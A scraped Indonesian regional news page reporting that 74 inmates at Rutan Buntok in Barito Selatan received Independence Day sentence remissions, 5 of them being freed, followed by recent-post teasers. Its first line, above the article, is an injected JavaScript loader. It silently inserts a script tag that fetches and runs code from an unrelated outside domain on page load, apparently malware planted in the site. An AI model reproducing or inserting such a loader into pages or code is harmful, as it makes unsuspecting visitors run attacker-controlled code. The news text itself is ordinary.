(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

74 Binaan Rutan Buntok Dapatkan Remisi 5 Orang Langsung Bebas


BUNTOK, HUT Kemerdekaan RI ke-73 menjadi berkah bagi warga binaan di Rutan Kelas II B Buntok Kabupaten Barito Selatan (Barsel). Sebanyak 74 napi dapat pengurangan masa tahanan (remisi) hari kemerdekaan.

Kepala Rutan Buntok Mastur Rahman menerangkan, surat keputusan dari pihak Kementrian Hukum dan Hak Asasi Manusia RI, tentang pemberian remisi terhadap warga binaan Rutan Buntok tersebut, diserahkan langsung oleh Bupati Barsel H Eddy Raya Samsuri kepada yang bersangkutan.

Mastur mengatakan, keseluruhan warga binaan Rutan Buntok saat ini berjumlah 162 orang. Akan tetapi yang bisa mendapat remisi hanya 74 orang dan 5 di antaranya langsung mendapatkan kebebasan.

“Kami memberikan remisi kepada 74 orang narapidana warga binaan Rutan Kelas IIB Buntok saat ini berdasarkan dari hasil penilaian para petugas Lapas. Dimana, para napi tersebut telah memenuhi persyaratan sesuai subtansinya untuk memperbaiki diri,” katanya, Jumat (17/8).

Ia mengatakan, pemberian remisi atau pengampunan berupa pengurangan masa tehanan kepada para narapidaha, merupakan bentuk penghargaan terhadap hak asasi manusia. Karena para narapidana adalah bagian yang tidak mungkin terpisahkan dari warga negara Indonesia.

“Yang mana selam ini kita telah memberikan pembinaan kepada seluruh warga binaan Rutan Buntok, dan besar harapan kita kiranya setelah bebas nanti bisa menjalani hidup lebih baik lagi,” ujar Mastur.

Ditambahkan olehnya kepada sejumlah narapidana yang mendapat remisi tersebut, kiranya  bisa lebih meningkatakan kedisiplinan dan menguatkan tekat agar terus berusaha untuk memparbaiki perilakunya selama menjalani hukuman atas kesalahan sebelumnya.

“Kita menyadari bahwa kodrat manusia tidak luput dari salah dan kehilapan. Akan tetapi, dengan adanya akal sehat yang di berikan Tuhan kepada kita sebagai manusia. Tentu dapat memilah dan memilih langkah agar yang tidak bertentangan dengan hukum yang berlaku di negara kita,” tandas Mastur sekaligus mengakhiri.(digdo)

Reporter : Digdo
Editor : Chell

Desy Arfianty

Recent Posts

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

36 menit ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

2 jam ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

2 jam ago

Cabang Musabaqah Syarhil Qur’an Kafilah HSU Putra Putri Lolos ke Final

KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More

3 jam ago

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

4 jam ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

4 jam ago

This website uses cookies.